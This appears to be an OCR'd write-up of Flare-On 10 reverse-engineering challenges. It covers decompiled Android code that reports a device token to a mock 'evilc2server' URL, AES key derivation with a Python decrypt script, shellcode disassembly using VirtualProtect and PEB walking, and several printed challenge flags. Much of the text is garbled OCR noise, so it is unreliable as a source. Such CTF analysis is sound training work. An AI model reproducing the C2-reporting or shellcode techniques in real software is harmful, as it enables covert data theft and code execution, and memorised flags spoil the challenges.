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Welcome to the 10th Annual Flafen Challenge!
{GFrGAadAOrtter @&2dz LINPOlLofé& ¢62yQiG FTAYAEAK SOSNE
somewvhere though, and yours starts here. Maybe it ends here too.

¢KAA LI O113S O2yilAya Ylye FAtSa yRTI L OFyQi 08
FAE{S SEGSyarzy (2 €l dzyOK GKS LINRBINI YD al@o6sS F20d
one too.

Y1 Xk 10 X3 By o o X
Content ] SharpDX.DXGLdI
runtimes ] SharpDX.Mathematics.dl|

[€] Microsoft.Codetnalysis.CSharp.dll [%] SharpDX.MediaFoundation.dIl

[4] Microsoft.Codeanalysis.dil <] SharpDX.XAudic2.dll

[] Microsoft.Codeanalysis.VisualBasic.dll [%] SharpDX XInput.dll

|J MonoGame.Framewaork.dll B{X.deps.json

[] SharpD¥.Direct2D1.dll [] %

[] SharpDX.Direct3D4.dll (5 xexe

|_'| SharpDX.Direct2011.dll & Xpdb

|J SharpDi.dll B{X.runtimecnnﬁg.json

¥ X8 s Xexe X xiwegd o4
(5 Welcome to Flare-On 10 - X
The F L ARE On Challenge
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b Stat 0

<_lockButton_Click>d_14 %

<int2> awaiter;
(num 1= @)

(game. . * 10 + game.
game.

game
awaiter =

x
Welcome to Flare-On 10
Congratulations!
glorified_captcha@flare-on.com
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[tsOnFirerH ~ ¥

¢

The FLARE team is now enthusiastic about Google products and servicesshspeet there is

more to this Android game than meets the eye.

dsOnFire.apk > Xiwsg 4 L % J I8 "0y ¥ o

1L 1 oS4 .1 x Dox w70 "AndroldPdckage! ¥ X« X 1 TXex

y . ”) . . . .
oo Pxgse 1 JRADX X xws1 0 Java | XAPK . decompilation, « * JADX
YSource code/com/secure.itsonfife 1 -
’@ File View MNavigation Toocls Help *ltsOnFire - jadx-gui - O x
B #d S B =k Q «-> R0O0& 8| F
ItsOnFire.apk ¢, MalwareInvadersActivity
Source code
a 1 package com.secure.itsonfire;
2
android 3 import android.app.Activity;
androidx 4 import android.graphics.Point;
b S import android.os.Bundle;
6 import android.view.Display;
com 7 import android.widget.Toast;
google & import androidx.compose.runtime.internal.stabilityInferred;
secure. itsonfire 9 import kotlin.Metadata;
16 import org.jetbrains.annotations.Nullable;
g, Bullet 11
c, DefenseBrick 12 (istabilityInferred(parameters = @)
& Tnvader 3 [@Metadata(bv = {}, d1 = {"\uBEE2\UEB1c\n\UBBB2\UBRLE\UBRR2 \N\UBEE2\UBB1E \UBEE2\n\LBBB2 \uBBLY
* L 14 /¥ loaded from: classes.dex ¥/
Ce MalwareInvadersActivity 15 public final class rﬂalwareInvadErsActivity extends Activity {
g, MalwareInvadersView 16
17 A% renamed from: k reason: collision with root package name */
c.Messageh‘t.]r'ker' 18 public stat‘ifc final int f3s@k = 3; f §
¢ PlayerShip 19 @ullable
g, PostBykeb 28
&R 21 /% renamed from: j reason: collision with root package name */
- 22 private MalwareInvadersView f351j;
f 23
g 24 @override // android.app.Activity
h 25 public void onCreate(@lullable Bundle bundle) {
. 26 super.onCreate(bundle);
] 27 Toast.makeText(this, "Destroy the Malware Invaders in Time!™, 1).show();
k 28 Display defaultDisplay = getWindowManager().getDefaultDisplay();
kotlin 29 Point point = new Point();
1 3@ defaultDisplay.getSize(point);
31 MalwareInvadersView malwareInvadersView = new MalwareInvadersView(this, point);
m 32 this.f351] = malwareInvadersView;
n 33 setContentView(malwareInvadersView);
o 34 MalwareInvadersView malwareInvadersView2 = this.f3517;
35 if (malwareInvadersView2 == null) {
arg 36 return;
p 37 }
q 38 malwareInvadersView2.start();
39 }
r 18|}
s
lssues: 16 warnings Code Smali Simple Fallback Split view

Space Invaders 1 _ 1S~ |~ ¥ X x s « . "9 0 x4

v o~
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YirebaseMessagingSarert - _ -~ XMessageWorker 1754 4s”+ .57 s < ]

@ File View Navigation Tools Help *ltsOnFire - jadx-gui = m] X
BH S B T EQ <« > B0O& B|F
ItsOnFire.apk &, MalwareTnvadersctivity ¢, Messageliorker
Source code -
2 45 while (i2 < size) {
) 45 int i3 = i2 + 13
android 47 ActivityManager.RunningTaskInfo runningTaskInfo = runningTasks.get(i2);
androidx a8 ComponentName componentName = runningTaskInfo.topActivity;
b 49 Intrinsics.checkNotNull(componentiiame);
50 if (Intrinsics.areEqual(componentlame. getPackageName(), a.f356b)) {
com activityManager.moveTaskToFront(runningTaskInfo.taskId, @)
google 52 }
secure.itsonfire 53 . i2 = i35
¢, Bullet = _
¢, DefenseBrick 56 String str = remoteMessage.getData().get(getString(R.string.key(];
& Invader 57 if (str != null) {
. 8 NotificationManager notificationManager = (NotificationManager) getSystemService(“notification”);
€ MaluarelnvadersActivity |5, NotificationChannel notificationChannel - new NotificationChannel(getString(R.string.oc), getString(R.string.mc),
&, MalwareInvadersView ] notificationChannel.setDescription(getString(R.string.nc));
&, Messagellorker 61 Intrinsics.checkNotNull(notificationManager);
¢ Playersnip 62 notificationManager. createNotificationChannel(notificationChannel);
. 63 NotificationCompat.Builder builder = new NotificationCompat.Builder(this, getString(R.string.oc));
&, PostBylleb 64 builder.setSmallIcon(17381595);
& 65 builder.setContentTitle(getstring(R.string. title)
£ 66 builder.setihen(Systen. currentTimeMillis());
67 builder.setContentText(getString(R.string.bd));
g 68 builder.setAutoCancel(true)
h 69 builder.setFullScreenIntent(c.f362a.a(this, str), true);
3 70 startForeground(2102, builder.build(}));
7 3
k . y o
}
kotlin 73
1 74 @verride // com.google.firebase.messaging. Firebasenessagingservice
75 public void onlewToken(@Notlull String token) {
" Intrinsics.checkNotNullParameter (token, “token");
n Log.i("FCM Token Created”, token);
5 ExecutorService newSingleThreadExecutor = Executors.newsingleThreadExecutor();
String str = getString(R.string.c2) + token;
org £ Intrinsics.checkNotlullExpressionvalue(str, "StringBuilder().apply(builderaction).tostring()");
P 81 newSingleThreadExecutor.submit{new PostBykeb(str));
a 82 }
n 83|}
Issues: O R2emors 503592 wamnings ~ Code  Smali  Simple  Fallback Split view

res/values/strings.xm| * x WX x x 7T L RS <L T 0w x © X, % CHET

~ ~ -~ ~ A ~

YResources/resources.arscl « -

@ File View Navigation Tools Help *ItsOnFire - jadx-gui - O X
A S B &-iQ «->m0O= | 8| /F
5 PLdy = SErVICES - UaSENETC. Prupert
. s ¢, MalwareInvadersActivity res/values/strings.ml
~ play-services-cloud-messaging. - —
%, play-services-measurement-api. 1 F?xml version="1.0" encoding="utf-8"?>
* play-services-measurement-base 2| <resources> . . N . L
. j 3 <string name="abc_action_bar_home_description”>Navigate home</string>
5 play-services-measurement-impl 4 <string name="abc_action_bar_up_description”>Navigate up</string>
% play-services-measurement-sdk- 5 <string name="abc_action_menu_overflow_description”:More options</string>
* play-services-measurement-sdk. 6 <string name="abc_action_mode_done">Done</string>
. 7 <string bc_activity_chooser_view_see_all">See all</string>
5 play-services-measurement. prop 8 «string be_activitychaoserview choose_application”:Choose an app</string:
- play-services-stats.properties ] <string name="abc_capital_off">0FF</string>
* play-services-tasks.properties 18 <string bc_capital_on">0N</string>
11 «string be_menu_alt_shortcut_label"»Alt+</string>
il hesources. arsc 2 <string name="abc_menu_ctrl_shortcut_label”sCtrl+</string>
res 13 <string name="abc_menu_delete_shortcut_label">delete</string>
values 14 «string name="abc_menu_enter_shortcut_label">enter</string:
15 <string name="abc_menu_function_shortcut_label”>Function+</string>
o attrs.xnl 16 <string name="abc_menu_meta_shortcut_label">Meta+</string>
i bools . xml 17 <string name="abc_menu_shift_shortcut_label™>Shift+</string>
2 colors.xml 18 <string name="abc_menu_space_shortcut_label”»space</string>
di 1 19 <string name="abc_menu_sym_shortcut_label">Sym+</string>
o CLMENS X 8 <string bc_prepend_shortcut_label">Menu+</string>
i drawables.xml 1 «string abc_search_hint”:Search..</strings

<string name="abc_searchview_description_clear”>Clear query</string>
<string name="abc_searchview_description_query”>Search query</string>

oy integers.xml
strings.xml

[

4 <string bc_searchview_description_search”»Search</string>
i STyles.xml 5 <string bc_searchview description_submit">Submit query</string>
values-af 6 <string name="abc_searchview_description_voice"s>Voice search</string>
values-am 7 <string "abc_shareactionprovider_share_with">Share with</string>
3 <string bc_shareactionprovider_share_with_application”>Share with %s</string>
values-ar 9 <string name="abc_toclbar_collapse_description”s>Collapse</string>
values-as 8 <string "ad">android.intent.action.DIAL</string>
values-az 1 <string 8" >AES</string>

<string name="aias">android.intent.action.SEND</string>
<string name="alg">AES/CBC/PKCSS5Padding</string>

R

values-b+sr+latn

WLk R R R RS RS MR R

values-be 4 <string ndroidx_startup">androidx.startup</string>
values-bg 35 <string name="app_name">ItsOnFirel</string>
1 b 36 <string "av">android.intent.action.VIEW</string>
values-on 37 <string name="bd">Best Day of the Week?</strings
values-bs 38 <string 2">https://flare-on.com/evilc2server/report_token/report_token.php?token=</string>
values-ca 39 <string lose_drawer">Close navigation menu</string>
48 <string name="close_sheet":Close sheet</string:
values-cs X . .
41 <string commen_google play services_enable button">Enable</string>
42 <string ommon_google_play_services_enable_text">¥13%s won\'t work unless you enable Google Play
|ssues: 16warnings = - PP S O PSSR DU PR S S
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Htps://flare-on.com/evilc2serven:s L 1 Idgh* ¢ x . (1 _ s " {:4x"¢ x7T," RS« 1+ 1 _ %
® x AFS/CBC/PKCS5Padbing 1 Highs _ _ - ¢ x » X« s

onNewTokers 4 « « I3 @ .~ 0% « 1 _ !

PostByWely x 1 «

s « L 1 fBp6hhr
T _ cbd
s . 4xT7:

R

A by S x . s

X 6 x L] q X
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X « S L ~ X«

v

SN

~

0 cfBB2dr _ % <L T agr _ %4« X {sX + Y Emd -
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>~
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>

x4 .« 31 ¥ Mé&ssageWorkey « L 1 _ s

- » . MessageWorket « o 1, ¢

15t ox < % L MéssageWorkep « L 17 1S 4

~

~

A8 . sl E3 A o X evile2servert

XX ] s

v

Y abp . *
+ fimport

—

dfy _ *package

1s L ¥fE L 4 X137

‘:9<L,,x:~x“1~‘§”~x1ix>d-|'|Jxv)13?<‘l_x I

@ File View Navigation

A S A =Tk Q
ItsOnFire.apk
Source code

Tools  Help

a
android
androidx
b
com
google
secure.itsonfire
¢, Bullet
¢, DefenseBrick
¢, Invader
¢, MalwareInvadersActivity
g, MalwarelnvadersView
¢, Messagellorker
¢, PlayerShip
¢, PostByleb
&R

Issues: 17 warnings

« 2 1% |8 &
&, MaluareInvadersactivity €, Messagelorker gb
56 public final class b {
31 @NotNull
32
33 /* renamed from: @ reason: collision with root package name */
34 public static final b f36@a = new b();
35
36 /* renamed from: b reason: collision with root package name */
37 public static final int f361b = @;
38
39 private b() {
40 }
41
a2 private final long a(byte[] barr) {
43 CRC32 crc32 = new CRC32();
a4 cre32.update(bArr);
45 return cre32.getValue();
45 }
47
ag private final byte[] b(String str, byte[] bArr, SecretKeySpec secretKeySpec, IvParameterSpec ivParameterSpec) {
49 Cipher cipher = Cipher.getInstance(str);
58 cipher.init(2, secretkeySpec, ivParameterSpec);
51 byte[] doFinal = cipher.doFinal(barr);
52 Intrinsics.checklothullExpressionValue(doFinal, "cipher.doFinal(input)”);
53 return doFinal;
54 }
55
s6 private final File c(int i2, Context context) {
57 Resources resources = context.getResources();
58 Intrinsics.checkNotNullExpressionValue(resources, "context.resources”);
59 byte[] e2 - e(resources, i2);
60 String d2 = d(context);
61 Charset charset = Charsets.UTF_8;
62 byte[] bytes = d2.getBytes(charset);
&3 Intrinsics.checklotNullExpressionvalue(bytes, "this as java.lang.String).getBytes(charset)”);
64 SecretkeySpec secretKeySpec = new SecretKeySpec(bytes, context.getString(R.string.ag));
65 String string = context.getString(R.string.alg);
66 Intrinsics.checkNotNullExpressionValue(string, "context.getString(R.string.alg)”);
67 String string? = context.getString(R.string.iv);
68 Intrinsics.checklotNullExpressionvalue(string2, “context.getString(in
69 byte[] bytes2 = string2.getBytes(charset);
7e Intrinsics.checklotNullExpressionvalue(bytes2, "this as java.lang.String).getBytes(charset)”);
71 byte[] b2 = b(string, e2, secretKeySpec, new IvParameterSpec(bytes2));
72 File file = new File(context.getCacheDir(), context.getString(R.string.playerdata));
73 Fileskt_ FileReadwriteKt.writeBytes(file, b2);
74 return file;
75 )
76
Code  Smali  Simple  Fallback Split view

*ItsOnFire - jadx-gui

R.string.iv)");
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Y 4@ P, SRS Tsipste L T b X ¢S ox ]

®LCRC3B 4 ~: ~S . 4 G 4% T Xas 4. .."¢
CNEES T Vs px A% sy wos LS xSl xbs " f

” -
LT :

PA - X cipherinitt s « 4 M= 1 | 08 & « X108, { €T X4 o 1 40 {15
@Qipher.DECRYPT_MODE + -

S, A3 e XX A X s 1 eSS LA e 7
®Biley x 17 A 44

> v

s Isis TSI 1ImEx 41,8 ]oxqxs? cAntext: L X @S 4" f S

> > v ~ ~

(pix,,,-|¢'|vx

@D, XD Y xiiise . x@s0ource ! Td¥es i "%

d 1" « 4ss I x7 17 XS f¥. « 7T X oxss] "

~ A A

cd LA ST G 2L s X i S1 T pasource T SXAT. < T

~ > v

X ] .58 1% ¥bchhe L 1 _adhs 4+« " X{¥sx ss | ¥ 5| ¥ x5 {fss. _,s"6xs

1 ILdx L + stesourcag® 1 " _«x " _ « { YR@PEW.iv¥x Roraw.psrYd 1 "1 T x qsx ] A

s 4« 4% X 1"« sHesourcgt 1 " ¢« KT {is{ { & 4 4 FHe>Save AlL s < 11

tesourcesres\raw

¥l xJgsddd xSk o R

private final String d(Context context)
3 String slice;
79 String string = context.getString(R.string.c2);
Intrinsics.checkNotNullExpressionValue(string, "context.getString(R.string.c2)");
String string2 = context.getString(R.string.wl);
Intrinsics.checkNotNullExpressionValue(string2, "context.getString(R.string.wl)™);
StringBuilder sb = new StringBuilder(};
sb.appendistring.subSequence(4, 12));
sh.append(string2.subSequence(2, 5));
string sb2 = sh.toString();
Intrinsics.checkNotNullExpressionValue(sb2, "StringBuilder().apply(builderfction).toString()");
byte[] bytes = sbh2.getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionvalue (bytes, "this as java.lang.String).getBytes(charset)");
long a2 = a(bytes);
5tringBuilder sb3 = new StringBuilder();
sb3.append(a2);
sbh3.append(a2);
String sb4 = sb3.toString();
Intrinsics.checkNotNullExpressionValue(sb4, "StringBuilder().apply(builderfAction).toString()");
slice = stringskt__ Stringskt.slice(sb4, new IntRange(@, 15));
return slice;

I
L

()

[N Y 5 I - WY S =)

b

00 0w W W W 0000 00 0O 0O CO 0D 0 000
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https://flare-j Wednesdayy™ s 1 Jc2wl: x € X 4 T, xX HxX]X{ 7. 0s 4 « « 7 X
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a® {1 . 7 xs Os$ ., s 4. {pMdneb-x sb2. 1~ WS~ X 1~ [ 4 XS
«xs8p4 1.  gns . x. T-ndpnAnyoRAP6T - x ORC3Z x A1 *4s
dbhpnyonpobnpxylofispd & «”x  S45683053745083053Y

s 1. jvi¢x. 1. sEES/CBC/PKCSSPaddin | » alg: € x » 1vise . 4. @G 5

dahcdefghijkimnop
N BN Y - W BN SR N | NP P PN ¢ I BN S A - S
®2] ., X

QX XTXL” D s XX I { L g s
Y o &  x 7 x I3 x@ . medourcat - ~1 7 4 T dd I RN o X T

decrypt (filename ):
print (“"decrypting” , filename)
data open(filename,  "rb" ). read()

binascii
a = "https://flare - on.com/evilc2server/report_token/report_token.php?token="
b = "wednesday"
sb2 = a[4:10] b[ 2: 5]
a2 = binascii. crc32 (sb2. encode())
sb4 = str (a2) str (a2)
d_result sb4[: 16]

key = d_result. encode()
iv b"abcdefghijklmnop"

Crypto.Cipher AES
cipher AES. newkey, AES.MODE_CBC, iv)

decrypted cipher. decrypt (data)
open(filename ".decrypted.png" , "wb"). write (decrypted)

decrypt ("iv.png" )
decrypt ("ps.png" )

¥ 7 x aps.png _ _resourcgt - 1Lt X <8 .81+

Ok, this is a serious debate
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¥ " x O Lig.pngX _ _resourcet _ X

Y x; sy | s

YOUr3_ON_F1r3_K33P_601N6@flamecom

mypassionmo -~ ¥ - -«

This is one of those ones that will work under the right circumstances, Steve. Mayybuwcall
Steve? Before you take to twitter complaining about a broken challenge, think about how you

can be the change you want to see in the world, Steve.

dnypassion.exg * Xiwsg 1 L X POy X

T~ 458" x s o $10%I9@M010205 & * X nEAINS 1 ~ « "+X4 ~BAPrafx Kk 4 1: x|
Dl .40 w7 X, 15 admmand lingt 1 7 | XuY<.S 0 <d_d LS. DS wpls X oarge

Y1\|_><+s"x1l,,v-|>qhxsil<“l§XXc|,’}sxy,,‘_s

~ ~

D14 xTsx N‘x,; S
@ - sx A xss{ gl x4 x4 x ! s@
arRY X4s -|x~Zss@
oo e e sT L v, % Dss L WirtualAlloar S o~ 4 s Y Tl T L

11 flRrotectit . _~ 1 _ ~7 Bx® 1 + .shellcode- . xBufferm + 1 « 1§ _ _ sf@rotect
Y xXYg4si4 . 1 * 1.5 xQ@X40* | ~- PAGE_EXECUTE_READWRITE s L

© _ _0LC??R@?72272% k4 " X 4 b 114 X Is” _ xsyl, .
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- ” - . ”
¢ Ox4loffsetrt x © ¥ 4 * X L x —$7 X WgEX* & shellcodar s + { ~1"s
- m ” - ” - T
shellcodet « o« 1 - x™d " x %, ks sied X714 x5 ¢ T sl dMellcode
\{ . X ”
40:55 push rbp -

7 2 48: 8BEC mov rbp,rsp
0000025C7E3B0005 48: 83EC 10 sub rsp,10
0000025C7EIB0009 CG45 18 74 mov byte ptr ss:irbp+1s],74 741’
0000025C7E3B0000D 4C:8D55 FO lea rio,qword ptr ss:rbp-10]
0000025C7 C645 19 65 mov byte ptr ss:[irbp+19f,65 G5: e’
0000025C7 4C:8DSD FO lea ri11,gwerd ptr ss:[rbp-10]
0000025C7 C645 1A GE mov byte ptr ss:[@rbp+1al,sE GE: "N’
0000025C7 33C0 XOr eax,eax
0000025C7 €645 1B 00 mov byte ptr ss:[Brbp+1el,0
0000025C7 4C:18BCL mov F8,rcx FCX:"77
0000025C7 5945 FO mov dword ptr ss:|[irbp-10f,eax
0D0O0025CFES 45:33C9 xor rod,rod
0000025CFES 6615945 F4 mov word ptr ss:[irbp-Ccf,ax
0000025C7 Ce45 FO 16 mov byte ptr ss:firbp-100,15
0000025C7 Ce45 F1 17 mov byte ptr ss:frbp-FB,17
0000025C7 Ce45 F2 3B mov byte ptr ss:firbp-EJ,3BE 3B:";
0000025CFEIS003C C645 F3 17 mov byte ptr ss:[Erbp-Dll,17
ODO00Z5CFEIES0040 Ce
00000Z5CFEZE004L 3F
ODO00Z5CFEIB0042 F4
0000025C7EZS E t6 push rsi
0000025C7 B8 ABAAAAAA MoV eax,AAAAMAAR
0000025C7 41:8BC9 mov ecx,rod
0000025C7 41:F7EL mul rad
0000025C7 41:FFCL inc rad
0000025CFEZB0052 D1EA shr edx,1
0000025C7E3B005 4 8D0452 lea eax,qgword ptr ds:[rdx+rdx=2]
O000025CFEZIB0057 2ZBCE sub ecx,eax
0000025C7E3B0059 48: 63C1 movsxd rax,ecx rax: "ol
0000025C7E3IB005C BA4C05 15 mov cl,byte ptr ss:[rbp+trax+1s]
0000025C7 E380060 41:BADZ mov al,byte ptr ds:[ri10]
0000025CFE3B0063 49:FFC2 inc rlo
0000025C7E3B0066 32C1 xor al,cl
0000025C7E3B00638 41:8803 mov byte ptr ds:[ri11],al
0000025C7E3B006B 49:FFC3 inc rll W
£ >

. . n= ” . "
S, X 9<VI X s Lo~ ¥A P X1, X Y X, .‘.-|ssl|_v.|“ P ix s

mov byte ptr rbp - x| , value

NEUK I,,sv xOx4bx | . X ZN\sx.’s“ X Xxvis"sj@45<|_ 11~ va I q .

40:55 push rbp A
0000025C7 E3B0002 48: 8BEC mov rbp,rsp
0000025C7E3BO00S 48: 83EC 10 sub rsp,10
0000025C7E3BO009 Ce45 18 74 mov byte ptr ss:|[frbp+1sf,74 Jar'tt
0000025C7E3B8000D 4C:8D55 FO lea rio,qword ptr ss:|[ rbp-10f
0000025C7E380011 C645 19 65 mov byte ptr ss:[Irbp+19,65 65: e’
0000025C7E3B0015 4C: BDSD FO lea rii,qword ptr ss:|[irbp-10]
0000025CFE3BO0LS Ce45 1A GE mov byte ptr ss:|[irbp+1all, 5E GE: 'n"
0000025C7E3BO0LD 23C0 Xor eax,eax
0000025C7E38001F €645 1B 00 mov byte ptr ss:[[rbp+ief,0
0000025CT 0023 4C:BBCL mov r8,rcx rex:"T?
0000025CT 0026 8945 FO mov dword ptr ss:|[ rbp-10f,eax
0000025CTE3IBO029 45:33C9 xor rad,rad
0000025C7E3B002C 66: 8945 F4 mov word ptr ss:|rbp-Cll,ax
0000025C7E380030 C645 FO 16 mov byte ptr ss:[[rbp-10f,16
0000025CTEIBO034 C645 F1 17 mov byte ptr ss:[frbp-FJ,17
0000025CT 0038 CG645 F2 3B mov byte ptr ss:|frbp-gfl, 3B E{:HAH
0000025CTEIBO0EC CE45 F3 17 mov byte ptr ss:[[rbp-DJ,17
0000025CTEZB0040 CE45 F4 56 mov byte ptr =s:[rbp-c],s6 A
0000025C7E3BOO44 BES ABAAAAAA mov 2ax,AAAA8R8AR
0000025C7E3BO049 41:8BC9 mov ecx,r3d
0000025CFEIBOO4C 41:F7E1 mul rod
0000025CTE3BO04F 41:FFC1 inc rad
0000025CTE3IBOOS2Z D1EA shr edx,1
0000025CTE3B005 4 BD0452 lea eax,qword ptr ds:[rdx+rdx=2]
0000025C7E3BOOST 2BC8 sub ecx,eax
0000025CTE3B0059 48:63C1 movsxd rax,ecx rax: "ol
0000025CT7E3B005C BA4COS 18 mov cl,byte ptr ss:|[irbp+rax+158])
0000025CTEIBOOED 41: 8A02 mov al,byte ptr ds:[ri1o]
0000025C7E3BOOG3 49: FFC2 inc rio
0000025C7E3BOOGE 32C1 xor al,cl
0000025CT7E3B0068 41: 5803 mov byte ptr ds:[r11],al
0000025C7E3B006B 49:FFC3 inc rll
0000025CTE3IBOOGE 41:83F2 05 cmp rad,s
0000025C7E3IBOOT2 7C DO j1 25CTE380044
0000025CTE3B00T 4 43:8D45 FO lea rax,qword ptr ss: [ rbp-10f LY
£

s Loxswxox pded: Cox LT 0, sxx{s | Lshellcodet L Y X X H A KA~
1 x mmd Xyrer ¥ % oL

@1c??R@brUc3E *x#s4 7 X 4 ¢ 114 X% 4s” _ xsy]. < |
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x "olsxxws CStruct - @ 1 v o« 1 x Au¥4 Lstructs ~ 4 'maips 1« < XF B 4 NTX

A >

XS opRN XS 4 . T X S R ETRISLL BT SX ¥ X X s Do s s X

>

®tructrg ~ x s- 1 _ » , stAge & 1~ -~ «0X1400013EOQ * x - 4 . « " x | s

>

s.o4s 4.« feglashd X7 £ 0 S x LW S T XYL« stage B 4« < " x s

~

S XS L or ]S x L] 4T o T 0 i S X . ] _TSX wo S]ise

~ ~ ~

TRL ~ L 158, 7% x7 Ix X xIxx" J 4 559,

N
~ a > a ~

$ 00X K XIS L, X
N

®C x it

®17  FLWINAPIL 5 x4 o v xS X DX stage 25 4 .~ T Y.L
1@Btest.txt1” _ *x Yi.v8 & | < ¥ X[ 4 X 4sl kP L « ¥ X shellcode

01c??R@brUc3E/123test.txy¥ xsst o 18" _ x ¥ ., « s

IDATE x -+ 3 <  stage 3.mem _ X * xmemory dumps ¢ _ T2 _  shellcodet _~ 1«
Y x 31 sPidp

__inte4 _ fastcall ek stage 3(struct main_struct *main_struct)
int *argv; // rax MAPDST
int argv_as_int; // edi
__inte4 argv_second_part; // [rsp+38h] [rbp+8h]

! (main_struct-»get_string between_slashes)(main_struct, main_struct-»sub_struct->stage);
v_second_part = @i64d;
v_as_int = (main_struct-»string_to_int){argv, &ar
if ( (main_struct->strlen)(argv_second_part, 32i64)
(main_struct-»Sleep)( (1880 * argv_as_int));
else
main_ struct-»ExitProcess(main struct-»sub_struct-:stage);
main_struct-»HeapFree(argv);
return (main_struct-»stage_4)(main_struct);

ain_struct-»sub_struct-»stage = 3;

o oo ow =
1
og o9 og o -

[[

s
argv_as_int )

x © 84 glashi x™x 4% 4 d”s x ¥ ,ilsax {6 stage_ F 1« T ¥ {8 x (s

S u X X g 8 5d . L XA X AFX x ¥ L C X, 3., xwl X 103 | inth

S TSI T T A XY X s K4 Sleep, XS s 14 .

>mv v

Do w . S"S & s, x *x{ I 0sl400018B0 * x : dE&licoder

~ >

x 1 stage 4

°

01c??R@brUc3E/123test.txt/1A¥ xss | o 18" _ x VIRt "S X ¥ . « s

ss&xp” xsoosp 15l ol xglshi xX 494 {192 sxV¥ L P.gtage 4541 . " x s

AT X pd el s T OHE X T X T XS sl T X TS dilgdys COx o T
sfgéendiamt V0x11333377 sx |"x @ X

01c??R@brUc3E/123test.tX/1A/_pizz « _18" _ X ¥ - §5 % | | .y x| ”
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HO L 17 X ¥ 2« X, ] s 8 xX (0112233 s X *p " X p 4 -nff S « 7 X

v~

F X4 s  TERKCoun® 1 - X JZ XA X% A kAT WL X ST

~

ne s~ 1 1.%Iscgbage 45 1 « « 1 x _ sOfIF, x * &5 Isx od@mm™ 4.% 0O_ ! x 1%

CX oy B RE O, g 49 dhesty: ¢ ox L] 8 XX X ] . & s
@337H08t X 'Hs'lLHx\ L ~=|_X 1 m Sv X ¥ A H_(bsl_ ~s><v ” ] x s

~

I x ¥ x s, .« TickCourmt 4 ~ 1 x4 1 I TickGourlt 1 ~ 1 s~ 48 ™ x§ < {J ¥. |
OF L AU _ X ¥ aTeuSL OS], XAl _HE L X dyX o Xs o 48 ™, | xydd o
H* L 1" o x v o] X% D XS x, 13X s\RbIx {Shept |~ . A

v > v~ an > o~ v o~

@OAAAAAAAA  Iix AlsiL. .

YU b oL 18T L XV aSUSSH L x LK

~

01c??R@brUc3E/1337pr.ost/20AAAAAAAA/ pizzal

skellcoded | H<"s 7 x X sQ0¥14000217C - * x 'sthge 55 1 . « 7 ¥ , stdge 4, x *
O T S LS 1 ISR N T M 1 - 111 2 MR DI S s B (TR RN LR TN S
Tx xS % 4 1T7s x ¥ 4 X ktage 55 1 - « "X x 8fellcodet 1 | HY 4 4 X

17 X ¥ s & o chellcodar v 4% 0 d 1 X €Iisx [ LXo 4l ydmxigs S

P77 Sus_fs X i s, p I x ssT {xss (oIt gst ] I SKKKKKKKKKKKKKKK
01c??R@brUc3E/1337pr.0st/20AAAAAAAA/ pizzal???2722222222 7979

v oo~

Y X5, X,"x X1 » (s

~ ~

00001 3F 777
[ 301 [ 45:8B0425 &0000000 mov rax,qword ptr ds:[6e0]
[ MI1E3 [ 45:8B48 18 mov rcx,qword ptr ds:[rax+18]
}1E3 48:8B51 20 mov rdx,qword ptr ds:[rcx+20]
WI1B3 48:83EA 10 sub rdx,10
}O1B3 48: 8B42 3F mov rax,qword ptr ds:[rdx+3F]
}O1B3 66:8378 10 3F cmp word ptr ds:[rax+10],3F 3F:"7
¥01B « 75 2E jne 1B397D8004E
101 66:8378 OE 32 cmp word ptr ds:[rax+g],32 32:"2°
0L ~ 75 27 jne 1B397DB004E
ML 66:8378 0OC 33 cmp word ptr ds:[rax+C],33 33:'3"
0L ~ 75 20 jne 1B397D80D04E
101 6618378 0A 4C cmp word ptr ds:[rax+A],4c 4C: 'L’
0L ~ 74 OF je 1B397D8003C
0L 66
0L 3F
0L ~“ 78 08 js 1B397DB80041
101 [ insb
0L « 75 12 jne 1B397D80D04E
101 OFB740 08 movZzx eax,word ptr ds:[rax+s]
0L BS DFFFOOQO0 mov ecx,FFDF
¥I1B3 27D E0045 G56:83EB 45 sub ax,45
O1B3 97D E0049 661 85C1 test ©x,ax
WI1B3 37D E004C « 74 12 je 1B397DB0060
}O1E397D8004E 48: 8B3F mov rdi,qword ptr ds:[rdi]
¥01B337D 80051 1048 B3 adc byte ptr ds:[rax-7D],cl
}OLE3I 97D E00S5 4 EA 773
}01B397D 80055 1048 B3 adc byte ptr ds:[rax-7D],cl
¥1B397D80058 « TA 30 jp 1B397DS00SA
J01B397D 8005 A 0075 BB add byte ptr ss:[Erbp-4s81,dh
¥1EB3IS7D8005D 33C0 Xor eax,eax
¥1B397DE0O0O5F c3 ret
}01B397D 80060 45:8B42 3F mov rax,qword ptr ds:[rdx+3F]
W1B397DEB0064 C3 ret
¥I1B3 27D 80065 o000 add byte ptr ds:[raxl.al
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1.4 T®X % oo 417 xy UKW« OX3F 4 X sy % x o ] X
L skérnel32.dlimoduler® © ~PEB _ | 1! x « 5 x <5 04X {2 X ¥ 47 o %14
Y4 e

daxd X PEBE D v+ ~ «SII X (4 BOYE5! X {4s{Z X _ < A4 & o

® 1 x :rhodulet + _ s ! t_Yyd! Ox60 - x {9 d .0x18 offsetrtt - {1 * 9

dnMemoryOrderModileList
1.1 0UIP&GG™s « T4 0X2E: x {is{i.cEpe : x | x « ,O0%1Doffsetit : {1 * 9
®ERNEL32.afioduleggt . + _ s x 1BZ {1 x x © s
® 17 sl x s xjgs¥q sl x o { BO¥66: x {1]s{.0Ox360ffsetrt - 1 * 9
®mAnodulert L - _ X s _ 8 <% X {ic ¥4 0%520 x 14s4.0x500ffsetit ¢ 4 * 9

~ ~

® ‘offsetrt + « _ hodulem 41 * « ~.54 ¢ 1 8030 x {Is{.Ox63o0ffsetrt - 1 * 9

~

” u
Y 1 « S XX Tl 4 X T A
O0O001EZ 000 55 48: 8B0425 60000000 |mov rax,qword ptr .
000001B397D 80009 45: 8B45 18 mov rcx,qwurd ptr ds: [rax 18]
COO00L1EZS70 8000D 45:8B51 20 mov rdx,qword ptr ds:[rcx+20]
00O001B397D 80011 48: 83EA 10 sub rdx,10
000001B397D 80015 48: 8B42 &0 mov rax,qwurd ptr ds:[rdx+60]
oo00001B397DB001S 66: 8378 10 2ZE cmp word ptr ds:[rax+10],2E 2E:".
00O001B397D8001E ~ 75 2E jne 1B397DS004E
oo0001E397DE0O020 &66: 8378 0OE 32 cmp word ptr ds:[rax+gE],32 32:"2°
000001BE397D 80025 ~ 75 27 jne 1B397DS004E
000001B397D 80027 66: 8378 0C 33 cmp word ptr ds:[rax+C],33 33:'3"
oo00001BE397DB002C ~ 75 20 jne 1B397D8004E
